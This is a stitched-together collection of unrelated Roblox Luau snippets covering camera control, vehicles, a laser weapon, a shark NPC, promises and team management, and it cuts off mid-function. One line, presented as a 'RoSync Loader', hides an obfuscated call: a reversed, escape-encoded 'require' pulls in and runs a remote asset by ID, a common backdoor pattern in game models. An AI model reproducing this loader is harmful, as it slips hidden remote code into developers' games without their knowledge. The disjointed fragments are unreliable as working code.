TODO: Luau needs union type packs for this type to translate idiomatically create: (() -> ()) | (() -> (() -> ())), deps: Array<any> | nil ) -> (), useLayoutEffect: ( -- ROBLOX TODO: Luau needs union type packs for this type to translate idiomatically create: (() -> ()) | (() -> (() -> ())), deps: Array<any> | nil ) -> (), useCallback: <T>(callback: T, deps: Array<any> | nil) -> T, useMemo: <T...>(nextCreate: () -> T..., deps: Array<any> | nil) -> T..., useImperativeHandle: <T>( ref: { current: T | nil } | ((inst: T | nil) -> any) | nil, create: () -> T, deps: Array<any> | nil ) -> (), useDebugValue: <T>(value: T, formatterFn: ((value: T) -> any)?) -> (), -- ROBLOX TODO: make these non-optional and implement them in the dispatchers useDeferredValue: (<T>(value: T) -> T)?, useTransition: (() -> ((() -> ()) -> (), boolean))?, -- ROBLOX deviation: Luau doesn't support jagged array types [(() -> ()) -> (), boolean], useMutableSource: <Source, Snapshot>( source: MutableSource<Source>, getSnapshot: MutableSourceGetSnapshotFn<Source, Snapshot>, subscribe: MutableSourceSubscribeFn<Source, Snapshot> ) -> Snapshot, useOpaqueIdentifier: () -> any, unstable_isNewReconciler: boolean?, -- [string]: any, } local ReactCurrentDispatcher: { current: nil | Dispatcher } = { --[[ * @internal * @type {ReactComponent} */ ]] current = nil, } return ReactCurrentDispatcher
--[=[ Handlers if/when promise is fulfilled/rejected. It takes up to two arguments, callback functions for the success and failure cases of the Promise. May return the same promise if certain behavior is met. :::info We do not comply with 2.2.4 (onFulfilled or onRejected must not be called until the execution context stack contains only platform code). This means promises may stack overflow, however, it also makes promises a lot cheaper ::: If/when promise is rejected, all respective onRejected callbacks must execute in the order of their originating calls to then. If/when promise is fulfilled, all respective onFulfilled callbacks must execute in the order of their originating calls to then. @param onFulfilled function -- Called if/when fulfilled with parameters @param onRejected function -- Called if/when rejected with parameters @return Promise<T> ]=]
function Promise:Then(onFulfilled, onRejected) if type(onRejected) == "function" then self._unconsumedException = false end if self._pendingExecuteList then local promise = Promise.new() self._pendingExecuteList[#self._pendingExecuteList + 1] = { onFulfilled, onRejected, promise } return promise else return self:_executeThen(onFulfilled, onRejected, nil) end end
-- Start running 'autoSave()' function in the background
spawn(autoSave)
--[=[ @param obj any @return boolean Returns `true` if `obj` belongs to the EnumList. ]=]
function EnumList:BelongsTo(obj: any): boolean return type(obj) == "table" and obj.EnumType == self end
-- Services
local ReplicatedStorage = game:GetService("ReplicatedStorage") local RunService = game:GetService("RunService")
--------END STAGE-------- --------CREW--------
game.Workspace.crewp1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLeftBackground.Value).."" game.Workspace.crewp2.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentRightBackground.Value).."" game.Workspace.crewp3.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLeftBackground.Value).."" game.Workspace.crewp4.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentRightBackground.Value)..""
--15 c/s
while wait(.0667) do --Automatic Transmission if _TMode == "Auto" then Auto() end --Flip if _Tune.AutoFlip then Flip() end end
--When you are editing the car, make sure that the Left, Right, and Base parts are in a --straight line, or the wheels will be somewhere you do not expect them to be
left = Instance.new("Motor", script.Parent.Parent) right = Instance.new("Motor", script.Parent.Parent) left.Name = "LeftMotor" right.Name = "RightMotor" left.Part0 = l right.Part0 = r left.Part1 = b2 right.Part1 = b right.C0 = CFrame.new(-WheelSize/2-r.Size.x/2,0,0)*CFrame.Angles(math.pi/2,0,math.pi/2) right.C1 = CFrame.new(-b.Size.x/2-r.Size.x-WheelSize/2,0,0)*CFrame.Angles(math.pi/2,0,math.pi/2) left.C0 = CFrame.new(-1,0,0)*CFrame.Angles(0,0,math.pi/2) left.C1 = CFrame.new()*CFrame.Angles(0,0,math.pi/2) right.MaxVelocity = 0.02 left.MaxVelocity = 0.02
--- Splits a string by space but taking into account quoted sequences which will be treated as a single argument.
function Util.SplitString(text, max) text = encodeControlChars(text) max = max or math.huge local t = {} local spat, epat, buf, quoted = [=[^(['"])]=], [=[(['"])$]=] for str in text:gmatch("%S+") do str = Util.ParseEscapeSequences(str) local squoted = str:match(spat) local equoted = str:match(epat) local escaped = str:match([=[(\*)['"]$]=]) if squoted and not quoted and not equoted then buf, quoted = str, squoted elseif buf and equoted == quoted and #escaped % 2 == 0 then str, buf, quoted = buf .. " " .. str, nil, nil elseif buf then buf = buf .. " " .. str end if not buf then t[#t + (#t > max and 0 or 1)] = decodeControlChars(str:gsub(spat, ""):gsub(epat, "")) end end if buf then t[#t + (#t > max and 0 or 1)] = decodeControlChars(buf) end return t end
-- << INDIVIDUAL PERMISSIONS >>
local HeadAdmins = {"Example1","Example2"} local Admins = {} local Mods = {} local VIPs = {}
--// B key, Dome Light
mouse.KeyDown:connect(function(key) if key=="," then veh.Lightbar.middle.SpotlightSound:Play() veh.Lightbar.Remotes.DomeEvent:FireServer(true) end end)
--BaseRay.Transparency = 1
BaseRayMesh = Instance.new("SpecialMesh") BaseRayMesh.Name = "Mesh" BaseRayMesh.MeshType = Enum.MeshType.Brick BaseRayMesh.Scale = Vector3.new(0.2, 0.2, 1) BaseRayMesh.Offset = Vector3.new(0, 0, 0) BaseRayMesh.VertexColor = Vector3.new(1, 1, 1) BaseRayMesh.Parent = BaseRay ServerControl = (Remotes:FindFirstChild("ServerControl") or Instance.new("RemoteFunction")) ServerControl.Name = "ServerControl" ServerControl.Parent = Remotes ClientControl = (Remotes:FindFirstChild("ClientControl") or Instance.new("RemoteFunction")) ClientControl.Name = "ClientControl" ClientControl.Parent = Remotes Light.Enabled = false Tool.Enabled = true function RayTouched(Hit, Position) if Configuration.DestroyParts.Value then Hit:Destroy() end if Configuration.SuperPartDestruction.Value then Hit.Archivable = false Hit:Destroy() end if not Hit or not Hit.Parent then return end local character = Hit.Parent if character:IsA("Hat") then character = character.Parent end if character == Character then return end local humanoid = character:FindFirstChildOfClass('Humanoid') if not humanoid or humanoid.Health == 0 then return end local player = Players:GetPlayerFromCharacter(character) if player and Functions.IsTeamMate(Player, player) then return end local DeterminedDamage = math.random(Configuration.Damage.MinValue, Configuration.Damage.MaxValue) Functions.UntagHumanoid(humanoid) Functions.TagHumanoid(humanoid, Player) if Configuration.InstantKill.Value then humanoid.Health = 0 end if Configuration.IgnoreForceField.Value then if Hit.Name == 'Head' then humanoid.Health = humanoid.Health - math.random(Configuration.Damage.MinValue, Configuration.Damage.MaxValue) * Configuration.HeadShotMultiplier.Value Sounds.HeadShot:Play() else humanoid.Health = humanoid.Health - math.random(Configuration.Damage.MinValue, Configuration.Damage.MaxValue) end else if Hit.Name == 'Head' then humanoid:TakeDamage(DeterminedDamage * Configuration.HeadShotMultiplier.Value) Sounds.HeadShot:Play() else humanoid:TakeDamage(DeterminedDamage) end end end function CheckIfAlive() return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) and true) or false) end function Equipped() Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") if not CheckIfAlive() then return end ToolEquipped = true end function Unequipped() ToolEquipped = false end function InvokeClient(Mode, Value) local ClientReturn = nil pcall(function() ClientReturn = ClientControl:InvokeClient(Player, Mode, Value) end) return ClientReturn end ServerControl.OnServerInvoke = (function(player, Mode, Value) if player ~= Player or not ToolEquipped or not CheckIfAlive() or not Mode or not Value then return end if Mode == "Fire" then Sounds.Fire:Play() FX:Emit(3) if Configuration.AddRecoil.Value then if Recoil.Disabled then Recoil.Disabled = false delay(0.1, function() Recoil.Disabled = true end) end end elseif Mode == "RayHit" then local RayHit = Value.Hit local RayPosition = Value.Position if RayHit and RayPosition then RayTouched(RayHit, RayPosition) end elseif Mode == "CastLaser" then local StartPosition = Value.StartPosition local TargetPosition = Value.TargetPosition local RayHit = Value.RayHit if not StartPosition or not TargetPosition or not RayHit then return end for i, v in pairs(Players:GetPlayers()) do if v:IsA("Player") and v ~= Player then local Backpack = v:FindFirstChild("Backpack") if Backpack then local LaserScript = CastLaser:Clone() local StartPos = Instance.new("Vector3Value") StartPos.Name = "StartPosition" StartPos.Value = StartPosition StartPos.Parent = LaserScript local TargetPos = Instance.new("Vector3Value") TargetPos.Name = "TargetPosition" TargetPos.Value = TargetPosition TargetPos.Parent = LaserScript local RayHit = Instance.new("BoolValue") RayHit.Name = "RayHit" RayHit.Value = RayHit RayHit.Parent = LaserScript LaserScript.Disabled = false Debris:AddItem(LaserScript, 1.5) LaserScript.Parent = Backpack end end end end end) Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
-- Requires
local APIEquipment = require(ReplicatedStorage.Common.APIEquipment) PlayersService.PlayerAdded:Connect(function(player) -- When the character is added we'll listen for them to die. player.CharacterAdded:Connect(function(character) local humanoid = character:WaitForChild("Humanoid") if not humanoid then return end -- As soon as the player dies the weapons are removed humanoid.Died:Connect(function() APIEquipment.RemoveWeapons(player) end) end) end)
--Gets a remote event. It does not check the class.
function RemoteEventCreator:GetRemoteEvent(Name) return Tool:WaitForChild(Name) end
--Made by Luckymaxer
Camera = game:GetService("Workspace").CurrentCamera Rate = (1 / 60) Shake = {Movement = 20, Rate = 0.001} local CoordinateFrame = Camera.CoordinateFrame local Focus = Camera.Focus while true do local CameraRotation = Camera.CoordinateFrame - Camera.CoordinateFrame.p local CameraScroll = (CoordinateFrame.p - Focus.p).magnitude local NewCFrame = CFrame.new(Camera.Focus.p) * CameraRotation * CFrame.fromEulerAnglesXYZ((math.random(-Shake.Movement, Shake.Movement) * Shake.Rate), (math.random(-Shake.Movement, Shake.Movement) * Shake.Rate), 0) CoordinateFrame = NewCFrame * CFrame.new(0, 0, CameraScroll) Camera.CoordinateFrame = CoordinateFrame wait(Rate) end
-- lunge and hold
if target.Humanoid.SeatPart then game.ReplicatedStorage.Events.NPCAttack:Fire(target.Humanoid.SeatPart.Parent,math.random(5,15)) else game.ReplicatedStorage.Events.NPCAttack:Fire(game.Players:GetPlayerFromCharacter(target),25) end shark.Head.SharkEat:Play() local emitter = game.ReplicatedStorage.Particles.Teeth:Clone() emitter.Parent = shark.Head emitter.EmissionDirection = Enum.NormalId.Top wait() emitter:Emit(1) holdOrder = tick() holdDuration = 2 end end end -- end of MakeAMove() MakeAMove() local scanSurroundings = coroutine.wrap(function() while true do stance = "wander" local surroundingParts = workspace:FindPartsInRegion3WithIgnoreList(Region3.new( shark.PrimaryPart.Position+Vector3.new(-60,-3,-60), shark.PrimaryPart.Position+Vector3.new(60,10,60)), shark:GetChildren()) for _,v in next,surroundingParts do if v.Parent:FindFirstChild("Humanoid") and v.Parent.Humanoid.Health > 0 then
-- Display Values used to update Player GUI
local displayValues = ReplicatedStorage.DisplayValues local timeLeft = displayValues.TimeLeft
--Colocamos Sounds y Proximity en la puerta
OpenSound.Parent = Door CloseSound.Parent = Door Proximity.Parent = Door
--- Sets whether or not the console is enabled
function Cmdr:SetEnabled (enabled) self.Enabled = enabled end
--[[ Updates the value stored in this State object. If `force` is enabled, this will skip equality checks and always update the state object and any dependents - use this with care as this can lead to unnecessary updates. ]]
function class:set(newValue, force: boolean?) if force or not utility.isSimilar(self._value, newValue) then self._value = newValue Dependencies.updateAll(self) end end return Value
--[[ Last synced 11/11/2020 02:32 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
-- Reset the camera look vector when the camera is enabled for the first time
local SetCameraOnSpawn = true local UseRenderCFrame = false pcall(function() local rc = Instance.new('Part'):GetRenderCFrame() UseRenderCFrame = (rc ~= nil) end) local function GetRenderCFrame(part) return UseRenderCFrame and part:GetRenderCFrame() or part.CFrame end local function CreateCamera() local this = {} this.ShiftLock = false this.Enabled = false local pinchZoomSpeed = 20 local isFirstPerson = false local isRightMouseDown = false this.RotateInput = Vector2.new() function this:GetShiftLock() return ShiftLockController:IsShiftLocked() end function this:GetHumanoid() local player = PlayersService.LocalPlayer return findPlayerHumanoid(player) end function this:GetHumanoidRootPart() local humanoid = this:GetHumanoid() return humanoid and humanoid.Torso end function this:GetRenderCFrame(part) GetRenderCFrame(part) end function this:GetSubjectPosition() local result = nil local camera = workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject if cameraSubject then if cameraSubject:IsA('VehicleSeat') then local subjectCFrame = GetRenderCFrame(cameraSubject) result = subjectCFrame.p + subjectCFrame:vectorToWorldSpace(SEAT_OFFSET) elseif cameraSubject:IsA('SkateboardPlatform') then local subjectCFrame = GetRenderCFrame(cameraSubject) result = subjectCFrame.p + SEAT_OFFSET elseif cameraSubject:IsA('BasePart') then local subjectCFrame = GetRenderCFrame(cameraSubject) result = subjectCFrame.p elseif cameraSubject:IsA('Model') then result = cameraSubject:GetModelCFrame().p elseif cameraSubject:IsA('Humanoid') then local humanoidRootPart = cameraSubject.Torso if humanoidRootPart and humanoidRootPart:IsA('BasePart') then local subjectCFrame = GetRenderCFrame(humanoidRootPart) result = subjectCFrame.p + subjectCFrame:vectorToWorldSpace(HEAD_OFFSET + cameraSubject.CameraOffset) end end end return result end function this:ResetCameraLook() end function this:GetCameraLook() return workspace.CurrentCamera and workspace.CurrentCamera.CoordinateFrame.lookVector or Vector3.new(0,0,1) end function this:GetCameraZoom() if this.currentZoom == nil then local player = PlayersService.LocalPlayer this.currentZoom = player and clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, 10) or 10 end return this.currentZoom end function this:GetCameraActualZoom() local camera = workspace.CurrentCamera if camera then return (camera.CoordinateFrame.p - camera.Focus.p).magnitude end end function this:ViewSizeX() local result = 1024 local player = PlayersService.LocalPlayer local mouse = player and player:GetMouse() if mouse then result = mouse.ViewSizeX end return result end function this:ViewSizeY() local result = 768 local player = PlayersService.LocalPlayer local mouse = player and player:GetMouse() if mouse then result = mouse.ViewSizeY end return result end function this:ScreenTranslationToAngle(translationVector) local screenX = this:ViewSizeX() local screenY = this:ViewSizeY() local xTheta = (translationVector.x / screenX) local yTheta = (translationVector.y / screenY) return Vector2.new(xTheta, yTheta) end function this:MouseTranslationToAngle(translationVector) local xTheta = (translationVector.x / 1920) local yTheta = (translationVector.y / 1200) return Vector2.new(xTheta, yTheta) end function this:RotateCamera(startLook, xyRotateVector) -- Could cache these values so we don't have to recalc them all the time local startCFrame = CFrame.new(Vector3.new(), startLook) local startVertical = math.asin(startLook.y) local yTheta = clamp(-MAX_Y + startVertical, -MIN_Y + startVertical, xyRotateVector.y) local resultLookVector = (CFrame.Angles(0, -xyRotateVector.x, 0) * startCFrame * CFrame.Angles(-yTheta,0,0)).lookVector return resultLookVector, Vector2.new(xyRotateVector.x, yTheta) end function this:IsInFirstPerson() return isFirstPerson end -- there are several cases to consider based on the state of input and camera rotation mode function this:UpdateMouseBehavior() -- first time transition to first person mode or shiftlock if isFirstPerson or self:GetShiftLock() then if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then pcall(function() GameSettings.RotationType = Enum.RotationType.CameraRelative end) UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter end else pcall(function() GameSettings.RotationType = Enum.RotationType.MovementRelative end) if isRightMouseDown then UserInputService.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition else UserInputService.MouseBehavior = Enum.MouseBehavior.Default end end end function this:ZoomCamera(desiredZoom) local player = PlayersService.LocalPlayer if player then if player.CameraMode == Enum.CameraMode.LockFirstPerson then this.currentZoom = 0 else this.currentZoom = clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, desiredZoom) end end isFirstPerson = self:GetCameraZoom() < 2 ShiftLockController:SetIsInFirstPerson(isFirstPerson) -- set mouse behavior self:UpdateMouseBehavior() return self:GetCameraZoom() end local function rk4Integrator(position, velocity, t) local direction = velocity < 0 and -1 or 1 local function acceleration(p, v) local accel = direction * math.max(1, (p / 3.3) + 0.5) return accel end local p1 = position local v1 = velocity local a1 = acceleration(p1, v1) local p2 = p1 + v1 * (t / 2) local v2 = v1 + a1 * (t / 2) local a2 = acceleration(p2, v2) local p3 = p1 + v2 * (t / 2) local v3 = v1 + a2 * (t / 2) local a3 = acceleration(p3, v3) local p4 = p1 + v3 * t local v4 = v1 + a3 * t local a4 = acceleration(p4, v4) local positionResult = position + (v1 + 2 * v2 + 2 * v3 + v4) * (t / 6) local velocityResult = velocity + (a1 + 2 * a2 + 2 * a3 + a4) * (t / 6) return positionResult, velocityResult end function this:ZoomCameraBy(zoomScale) local zoom = this:GetCameraActualZoom() if zoom then -- Can break into more steps to get more accurate integration zoom = rk4Integrator(zoom, zoomScale, 1) self:ZoomCamera(zoom) end return self:GetCameraZoom() end function this:ZoomCameraFixedBy(zoomIncrement) return self:ZoomCamera(self:GetCameraZoom() + zoomIncrement) end function this:Update() end ---- Input Events ---- local startPos = nil local lastPos = nil local panBeginLook = nil local fingerTouches = {} local NumUnsunkTouches = 0 local StartingDiff = nil local pinchBeginZoom = nil this.ZoomEnabled = true this.PanEnabled = true this.KeyPanEnabled = true local function OnTouchBegan(input, processed) fingerTouches[input] = processed if not processed then NumUnsunkTouches = NumUnsunkTouches + 1 end end local function OnTouchChanged(input, processed) if fingerTouches[input] == nil then fingerTouches[input] = processed if not processed then NumUnsunkTouches = NumUnsunkTouches + 1 end end if NumUnsunkTouches == 1 then if fingerTouches[input] == false then panBeginLook = panBeginLook or this:GetCameraLook() startPos = startPos or input.Position lastPos = lastPos or startPos this.UserPanningTheCamera = true local delta = input.Position - lastPos if this.PanEnabled then local desiredXYVector = this:ScreenTranslationToAngle(delta) * TOUCH_SENSITIVTY this.RotateInput = this.RotateInput + desiredXYVector end lastPos = input.Position end else panBeginLook = nil startPos = nil lastPos = nil this.UserPanningTheCamera = false end if NumUnsunkTouches == 2 then local unsunkTouches = {} for touch, wasSunk in pairs(fingerTouches) do if not wasSunk then table.insert(unsunkTouches, touch) end end if #unsunkTouches == 2 then local difference = (unsunkTouches[1].Position - unsunkTouches[2].Position).magnitude if StartingDiff and pinchBeginZoom then local scale = difference / math.max(0.01, StartingDiff) local clampedScale = clamp(0.1, 10, scale) if this.ZoomEnabled then this:ZoomCamera(pinchBeginZoom / clampedScale) end else StartingDiff = difference pinchBeginZoom = this:GetCameraActualZoom() end end else StartingDiff = nil pinchBeginZoom = nil end end local function OnTouchEnded(input, processed) if fingerTouches[input] == false then if NumUnsunkTouches == 1 then panBeginLook = nil startPos = nil lastPos = nil this.UserPanningTheCamera = false elseif NumUnsunkTouches == 2 then StartingDiff = nil pinchBeginZoom = nil end end if fingerTouches[input] ~= nil and fingerTouches[input] == false then NumUnsunkTouches = NumUnsunkTouches - 1 end fingerTouches[input] = nil end local function OnMouse2Down(input, processed) if processed then return end isRightMouseDown = true this:UpdateMouseBehavior() panBeginLook = this:GetCameraLook() startPos = input.Position lastPos = startPos this.UserPanningTheCamera = true end local function OnMouse2Up(input, processed) isRightMouseDown = false this:UpdateMouseBehavior() panBeginLook = nil startPos = nil lastPos = nil this.UserPanningTheCamera = false end local function OnMouseMoved(input, processed) if startPos and lastPos and panBeginLook then local currPos = lastPos + input.Delta local totalTrans = currPos - startPos if this.PanEnabled then local desiredXYVector = this:MouseTranslationToAngle(input.Delta) * (MOUSE_SENSITIVITY*sensitivity.Value) this.RotateInput = this.RotateInput + desiredXYVector end lastPos = currPos elseif this:IsInFirstPerson() or this:GetShiftLock() then if this.PanEnabled then local desiredXYVector = this:MouseTranslationToAngle(input.Delta) * (MOUSE_SENSITIVITY*sensitivity.Value) this.RotateInput = this.RotateInput + desiredXYVector end end end local function OnMouseWheel(input, processed) if not processed then if this.ZoomEnabled then this:ZoomCameraBy(clamp(-1, 1, -input.Position.Z) * 1.4) end end end local function round(num) return math.floor(num + 0.5) end local eight2Pi = math.pi / 4 local function rotateVectorByAngleAndRound(camLook, rotateAngle, roundAmount) if camLook ~= Vector3.new(0,0,0) then camLook = camLook.unit local currAngle = math.atan2(camLook.z, camLook.x) local newAngle = round((math.atan2(camLook.z, camLook.x) + rotateAngle) / roundAmount) * roundAmount return newAngle - currAngle end return 0 end local function OnKeyDown(input, processed) if processed then return end if this.ZoomEnabled then if input.KeyCode == Enum.KeyCode.I then this:ZoomCameraBy(-5) elseif input.KeyCode == Enum.KeyCode.O then this:ZoomCameraBy(5) end end if panBeginLook == nil and this.KeyPanEnabled then if input.KeyCode == Enum.KeyCode.Left then this.TurningLeft = true elseif input.KeyCode == Enum.KeyCode.Right then this.TurningRight = true elseif input.KeyCode == Enum.KeyCode.Comma then local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), -eight2Pi * (3/4), eight2Pi) if angle ~= 0 then this.RotateInput = this.RotateInput + Vector2.new(angle, 0) this.LastUserPanCamera = tick() this.LastCameraTransform = nil end elseif input.KeyCode == Enum.KeyCode.Period then local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), eight2Pi * (3/4), eight2Pi) if angle ~= 0 then this.RotateInput = this.RotateInput + Vector2.new(angle, 0) this.LastUserPanCamera = tick() this.LastCameraTransform = nil end elseif input.KeyCode == Enum.KeyCode.PageUp then --elseif input.KeyCode == Enum.KeyCode.Home then this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(15)) this.LastCameraTransform = nil elseif input.KeyCode == Enum.KeyCode.PageDown then --elseif input.KeyCode == Enum.KeyCode.End then this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(-15)) this.LastCameraTransform = nil end end end local function OnKeyUp(input, processed) if input.KeyCode == Enum.KeyCode.Left then this.TurningLeft = false elseif input.KeyCode == Enum.KeyCode.Right then this.TurningRight = false end end local lastThumbstickRotate = nil local numOfSeconds = 0.7 local currentSpeed = 0 local maxSpeed = 0.1 local thumbstickSensitivity = 1.0 local lastThumbstickPos = Vector2.new(0,0) local ySensitivity = 0.65 local lastVelocity = nil -- K is a tunable parameter that changes the shape of the S-curve -- the larger K is the more straight/linear the curve gets local k = 0.35 local lowerK = 0.8 local function SCurveTranform(t) t = clamp(-1,1,t) if t >= 0 then return (k*t) / (k - t + 1) end return -((lowerK*-t) / (lowerK + t + 1)) end -- DEADZONE local DEADZONE = 0.1 local function toSCurveSpace(t) return (1 + DEADZONE) * (2*math.abs(t) - 1) - DEADZONE end local function fromSCurveSpace(t) return t/2 + 0.5 end local function gamepadLinearToCurve(thumbstickPosition) local function onAxis(axisValue) local sign = 1 if axisValue < 0 then sign = -1 end local point = fromSCurveSpace(SCurveTranform(toSCurveSpace(math.abs(axisValue)))) point = point * sign return clamp(-1,1,point) end return Vector2.new(onAxis(thumbstickPosition.x), onAxis(thumbstickPosition.y)) end function this:UpdateGamepad() local gamepadPan = this.GamepadPanningCamera if gamepadPan then gamepadPan = gamepadLinearToCurve(gamepadPan) local currentTime = tick() if gamepadPan.X ~= 0 or gamepadPan.Y ~= 0 then this.userPanningTheCamera = true elseif gamepadPan == Vector2.new(0,0) then lastThumbstickRotate = nil if lastThumbstickPos == Vector2.new(0,0) then currentSpeed = 0 end end local finalConstant = 0 if lastThumbstickRotate then local elapsedTime = (currentTime - lastThumbstickRotate) * 10 currentSpeed = currentSpeed + (maxSpeed * ((elapsedTime*elapsedTime)/numOfSeconds)) if currentSpeed > maxSpeed then currentSpeed = maxSpeed end if lastVelocity then local velocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate) local velocityDeltaMag = (velocity - lastVelocity).magnitude if velocityDeltaMag > 12 then currentSpeed = currentSpeed * (20/velocityDeltaMag) if currentSpeed > maxSpeed then currentSpeed = maxSpeed end end end finalConstant = thumbstickSensitivity * currentSpeed lastVelocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate) end lastThumbstickPos = gamepadPan lastThumbstickRotate = currentTime return Vector2.new( gamepadPan.X * finalConstant, gamepadPan.Y * finalConstant * ySensitivity) end return Vector2.new(0,0) end local InputBeganConn, InputChangedConn, InputEndedConn, ShiftLockToggleConn = nil, nil, nil, nil function this:DisconnectInputEvents() if InputBeganConn then InputBeganConn:disconnect() InputBeganConn = nil end if InputChangedConn then InputChangedConn:disconnect() InputChangedConn = nil end if InputEndedConn then InputEndedConn:disconnect() InputEndedConn = nil end if ShiftLockToggleConn then ShiftLockToggleConn:disconnect() ShiftLockToggleConn = nil end this.TurningLeft = false this.TurningRight = false this.LastCameraTransform = nil self.LastSubjectCFrame = nil this.UserPanningTheCamera = false this.RotateInput = Vector2.new() this.GamepadPanningCamera = Vector2.new(0,0) -- Reset input states startPos = nil lastPos = nil panBeginLook = nil isRightMouseDown = false fingerTouches = {} NumUnsunkTouches = 0 StartingDiff = nil pinchBeginZoom = nil -- Unlock mouse for example if right mouse button was being held down if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then UserInputService.MouseBehavior = Enum.MouseBehavior.Default end end function this:ConnectInputEvents() InputBeganConn = UserInputService.InputBegan:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch and IsTouch then OnTouchBegan(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton2 and not IsTouch then OnMouse2Down(input, processed) end -- Keyboard if input.UserInputType == Enum.UserInputType.Keyboard then OnKeyDown(input, processed) end end) InputChangedConn = UserInputService.InputChanged:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch and IsTouch then OnTouchChanged(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseMovement and not IsTouch then OnMouseMoved(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseWheel and not IsTouch then OnMouseWheel(input, processed) end end) InputEndedConn = UserInputService.InputEnded:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch and IsTouch then OnTouchEnded(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton2 and not IsTouch then OnMouse2Up(input, processed) end -- Keyboard if input.UserInputType == Enum.UserInputType.Keyboard then OnKeyUp(input, processed) end end) ShiftLockToggleConn = ShiftLockController.OnShiftLockToggled.Event:connect(function() this:UpdateMouseBehavior() end) this.RotateInput = Vector2.new() local getGamepadPan = function(name, state, input) if input.UserInputType == Enum.UserInputType.Gamepad1 and input.KeyCode == Enum.KeyCode.Thumbstick2 then if state == Enum.UserInputState.Cancel then this.GamepadPanningCamera = Vector2.new(0,0) return end local inputVector = Vector2.new(input.Position.X, -input.Position.Y) if inputVector.magnitude > 0.1 then this.GamepadPanningCamera = Vector2.new(input.Position.X, -input.Position.Y) else this.GamepadPanningCamera = Vector2.new(0,0) end end end local doGamepadZoom = function(name, state, input) if input.UserInputType == Enum.UserInputType.Gamepad1 and input.KeyCode == Enum.KeyCode.ButtonR3 and state == Enum.UserInputState.Begin then if this.currentZoom > 0.5 then this:ZoomCamera(0) else this:ZoomCamera(10) end end end game.ContextActionService:BindAction("RootCamGamepadPan", getGamepadPan, false, Enum.KeyCode.Thumbstick2) game.ContextActionService:BindAction("RootCamGamepadZoom", doGamepadZoom, false, Enum.KeyCode.ButtonR3) -- set mouse behavior self:UpdateMouseBehavior() end function this:SetEnabled(newState) if newState ~= self.Enabled then self.Enabled = newState if self.Enabled then self:ConnectInputEvents() else self:DisconnectInputEvents() end end end local function OnPlayerAdded(player) player.Changed:connect(function(prop) if this.Enabled then if prop == "CameraMode" or prop == "CameraMaxZoomDistance" or prop == "CameraMinZoomDistance" then this:ZoomCameraFixedBy(0) end end end) local function OnCharacterAdded(newCharacter) this:ZoomCamera(12.5) local humanoid = findPlayerHumanoid(player) local start = tick() while tick() - start < 0.3 and (humanoid == nil or humanoid.Torso == nil) do wait() humanoid = findPlayerHumanoid(player) end local function setLookBehindChatacter() if humanoid and humanoid.Torso and player.Character == newCharacter then local newDesiredLook = (humanoid.Torso.CFrame.lookVector - Vector3.new(0,0.23,0)).unit local horizontalShift = findAngleBetweenXZVectors(newDesiredLook, this:GetCameraLook()) local vertShift = math.asin(this:GetCameraLook().y) - math.asin(newDesiredLook.y) if not IsFinite(horizontalShift) then horizontalShift = 0 end if not IsFinite(vertShift) then vertShift = 0 end this.RotateInput = Vector2.new(horizontalShift, vertShift) -- reset old camera info so follow cam doesn't rotate us this.LastCameraTransform = nil end end wait() setLookBehindChatacter() end player.CharacterAdded:connect(function(character) if this.Enabled or SetCameraOnSpawn then OnCharacterAdded(character) SetCameraOnSpawn = false end end) if player.Character then spawn(function() OnCharacterAdded(player.Character) end) end end if PlayersService.LocalPlayer then OnPlayerAdded(PlayersService.LocalPlayer) end PlayersService.ChildAdded:connect(function(child) if child and PlayersService.LocalPlayer == child then OnPlayerAdded(PlayersService.LocalPlayer) end end) return this end return CreateCamera
-- Functions
function TeamManager:CreateTeams() local newTeam = Instance.new("Team", game.Teams) newTeam.TeamColor = BrickColor.new("Really red") TeamPlayers[newTeam] = {} TeamScores[newTeam] = 0 newTeam = Instance.new("Team", game.Teams) newTeam.TeamColor = BrickColor.new("Really blue") TeamPlayers[newTeam] = {} TeamScores[newTeam] = 0 end function TeamManager:CreateFFATeam() local newTeamColor = BrickColor.Random() while GetTeamFromColor(newTeamColor) do newTeamColor = BrickColor.Random() end local newTeam = Instance.new("Team", game.Teams) newTeam.TeamColor = newTeamColor TeamPlayers[newTeam] = {} TeamScores[newTeam] = 0 return newTeam end function TeamManager:AssignPlayerToTeam(player) local smallestTeam local lowestCount = math.huge for team, playerList in pairs(TeamPlayers) do if #playerList < lowestCount then smallestTeam = team lowestCount = #playerList end end if not Configurations.TEAMS and (not smallestTeam or #TeamPlayers[smallestTeam] > 0) then smallestTeam = TeamManager:CreateFFATeam() end table.insert(TeamPlayers[smallestTeam], player) player.Neutral = false player.TeamColor = smallestTeam.TeamColor end function TeamManager:RemovePlayer(player) local team = GetTeamFromColor(player.TeamColor) local teamTable = TeamPlayers[team] for i = 1, #teamTable do if teamTable[i] == player then table.remove(teamTable, i) if not 